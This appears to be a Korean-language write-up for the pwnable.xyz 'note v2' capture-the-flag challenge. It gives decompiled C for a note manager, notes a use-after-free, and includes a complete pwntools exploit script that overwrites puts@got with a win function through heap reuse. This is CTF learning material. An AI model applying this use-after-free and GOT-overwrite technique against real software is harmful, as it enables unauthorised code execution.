[pwnable.xyz]note v2

size, title, note 입력받는데 title하고 note 따로 따로 malloc해준다.

int make_note()
{
  _QWORD *v0; // rax
  int v1; // eax
  __int64 v2; // rcx
  int v4; // [rsp+4h] [rbp-Ch]
  void **buf; // [rsp+8h] [rbp-8h]

  if ( count <= 32 )
  {
    printf("size of note: ");
    v4 = read_int32();
    buf = (void **)malloc(40uLL);
    if ( !buf[4] )
      buf[4] = malloc(v4);
    printf("title: ");
    read(0, buf, 32uLL);
    printf("note: ", buf);
    read(0, buf[4], v4 - 1);
    v1 = count++;
    v2 = v1;
    v0 = book;
    book[v2] = buf;
  }
  else
  {
    LODWORD(v0) = puts("Limit reached.");
  }
  return (signed int)v0;
}

edit함수인데 make_note함수에서 입력한 길이만큼 바꿀 수 있다.

ssize_t edit_note()
{
  ssize_t result; // rax
  size_t v1; // rax
  ssize_t v2; // [rsp+8h] [rbp-8h]

  result = get_note();
  v2 = result;
  if ( result )
  {
    printf("Title %s: ", result);
    v1 = strlen(*(const char **)(v2 + 32));
    result = read(0, *(void **)(v2 + 32), v1);
  }
  return result;
}

delete함수는 note를 free해준다. 그리고 0으로 초기화해준다.

_QWORD *delete_note()
{
  _QWORD *result; // rax
  int v1; // eax
  __int64 v2; // rdx

  result = (_QWORD *)get_note();
  if ( result )
  {
    free((void *)result[4]);
    v1 = count--;
    v2 = v1;
    result = book;
    book[v2] = 0LL;
  }
  return result;
}

title이랑 note 출력해준다.

int print_note()
{
  __int64 v0; // rax

  v0 = get_note();
  if ( v0 )
    LODWORD(v0) = printf("%s : %s\n", v0, *(_QWORD *)(v0 + 32));
  return v0;
}

title은 free를 안해주고 note만 free해준다. 이게 32바이트 꽉채운 다음에 heap주소 저장된거 leak할 수 있긴한데 별로 쓸모 없다. 그리고 tcache unsorted bin attack으로 main_arena leak 가능하긴한데 이것도 별로 쓸모없다.

그냥 간단하게 UAF 취약점이 터져서 puts@got를 win으로 덮어줬다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30030)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
count = 0x0000000000602264
book = 0x0000000000602280
win = e.symbols['win']

def quit():
	sa('>','0')

def make(size,title,note):
	sa('>','1')
	sa(':',str(size))
	sa(':',title)
	sa(':',note)

def edit(idx,note):
	sa('>','2')
	sa(':',str(idx))
	sa(':',note)

def delete(idx):
	sa('>','3')
	sa(':',str(idx))

def printf(idx):
	sa('>','4')
	sa(':',str(idx))

make(0x420,'A'*4,p64(e.got['puts'])*10)
make(32,'B'*4,'C'*4)
delete(0) # -> unsorted bin
make(0x420,'D'*8,p64(win))
sla('>','99999')

p.interactive()